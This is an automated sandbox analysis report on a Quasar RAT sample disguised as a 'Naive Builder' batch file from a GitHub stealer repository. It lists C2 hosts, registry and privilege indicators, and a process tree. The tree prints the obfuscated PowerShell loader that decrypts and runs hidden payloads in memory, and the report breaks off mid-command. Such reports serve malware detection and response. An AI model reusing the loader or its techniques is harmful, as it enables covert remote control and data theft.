quasar | hxxps://github[.]com/LinodeArmyKnife/naive-stealer

Analysis

max time kernel
59s
max time network
450s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2024 00:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/LinodeArmyKnife/naive-stealer

Score

10^/10

quasar v15.6.3 | xen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v15.6.3 | xen

studies-royal.at.ply.gg:31849

usa-departments.at.ply.gg:37274

category-in.at.ply.gg:42204

Mutex

bd62476d-8a2b-4e05-a8e5-68cc94baac4f

Attributes

encryption_key
AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
5000
startup_key
$sxr-seroxen

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/3080-299-0x00000245FBBF0000-0x00000245FC3AC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 348 created 620	348	Naive Builder.bat.exe	5
PID 3080 created 620	3080	$sxr-powershell.exe	5
PID 3080 created 620	3080	$sxr-powershell.exe	5

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Naive Builder.bat.exe

Executes dropped EXE 4 IoCs

pid	Process
348	Naive Builder.bat.exe
4000	Naive Builder.bat.exe
3080	$sxr-powershell.exe
684	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
684	$sxr-powershell.exe
3080	$sxr-powershell.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\System32\vcruntime140d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	Naive Builder.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe
File created	C:\Windows\System32\ucrtbased.dll	Naive Builder.bat.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 348 set thread context of 1116	348	Naive Builder.bat.exe	120
PID 3080 set thread context of 4904	3080	$sxr-powershell.exe	127
PID 3080 set thread context of 3564	3080	$sxr-powershell.exe	129

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-powershell.exe	Naive Builder.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Naive Builder.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Naive Builder.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Naive Builder.bat.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4600	msedge.exe
4600	msedge.exe
2716	msedge.exe
2716	msedge.exe
3560	identity_helper.exe
3560	identity_helper.exe
2344	msedge.exe
2344	msedge.exe
348	Naive Builder.bat.exe
348	Naive Builder.bat.exe
348	Naive Builder.bat.exe
4000	Naive Builder.bat.exe
4000	Naive Builder.bat.exe
4000	Naive Builder.bat.exe
348	Naive Builder.bat.exe
1116	dllhost.exe
1116	dllhost.exe
1116	dllhost.exe
1116	dllhost.exe
348	Naive Builder.bat.exe
348	Naive Builder.bat.exe
3080	$sxr-powershell.exe
3080	$sxr-powershell.exe
3080	$sxr-powershell.exe
3080	$sxr-powershell.exe
3080	$sxr-powershell.exe
4904	dllhost.exe
4904	dllhost.exe
4904	dllhost.exe
4904	dllhost.exe
3080	$sxr-powershell.exe
3080	$sxr-powershell.exe
684	$sxr-powershell.exe
684	$sxr-powershell.exe
684	$sxr-powershell.exe
684	$sxr-powershell.exe
684	$sxr-powershell.exe
3080	$sxr-powershell.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3520	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	348	Naive Builder.bat.exe
Token: SeDebugPrivilege	4000	Naive Builder.bat.exe
Token: SeDebugPrivilege	348	Naive Builder.bat.exe
Token: SeDebugPrivilege	1116	dllhost.exe
Token: SeDebugPrivilege	3080	$sxr-powershell.exe
Token: SeDebugPrivilege	3080	$sxr-powershell.exe
Token: SeDebugPrivilege	4904	dllhost.exe
Token: SeDebugPrivilege	684	$sxr-powershell.exe
Token: SeDebugPrivilege	3080	$sxr-powershell.exe
Token: SeDebugPrivilege	3564	dllhost.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeAuditPrivilege	2768	svchost.exe
Token: SeAuditPrivilege	2768	svchost.exe
Token: SeAuditPrivilege	2768	svchost.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe
2716	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3080	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 776	2716	msedge.exe	83
PID 2716 wrote to memory of 776	2716	msedge.exe	83
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 2456	2716	msedge.exe	84
PID 2716 wrote to memory of 4600	2716	msedge.exe	85
PID 2716 wrote to memory of 4600	2716	msedge.exe	85
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86
PID 2716 wrote to memory of 576	2716	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{31e412ce-3671-4e57-a182-d49b47737f89}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c7353403-c42a-4e6d-bee8-2b293aa91b87}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9c3d54ed-a9a2-48ec-a44b-3ac59976ed23}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3564

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2036

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3028

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3404

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/LinodeArmyKnife/naive-stealer
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffeba1446f8,0x7ffeba144708,0x7ffeba144718
    3⤵
    PID:776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
    3⤵
    PID:2456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2884 /prefetch:8
    3⤵
    PID:576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
    3⤵
    PID:2780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
    3⤵
    PID:2524
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5884 /prefetch:8
    3⤵
    PID:4740
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5884 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5232 /prefetch:8
    3⤵
    PID:4924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
    3⤵
    PID:2076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,4357567603271579945,15467818684510351898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2344
- C:\Windows\System32\NOTEPAD.EXE
  "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Naive Builder.bat
  2⤵
  PID:1928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Naive Builder.bat" "
  2⤵
  - Drops file in Windows directory
  PID:2508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1556
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3452
- - C:\Users\Admin\Desktop\Naive Builder.bat.exe
    "Naive Builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Desktop\Naive Builder.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:348
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); 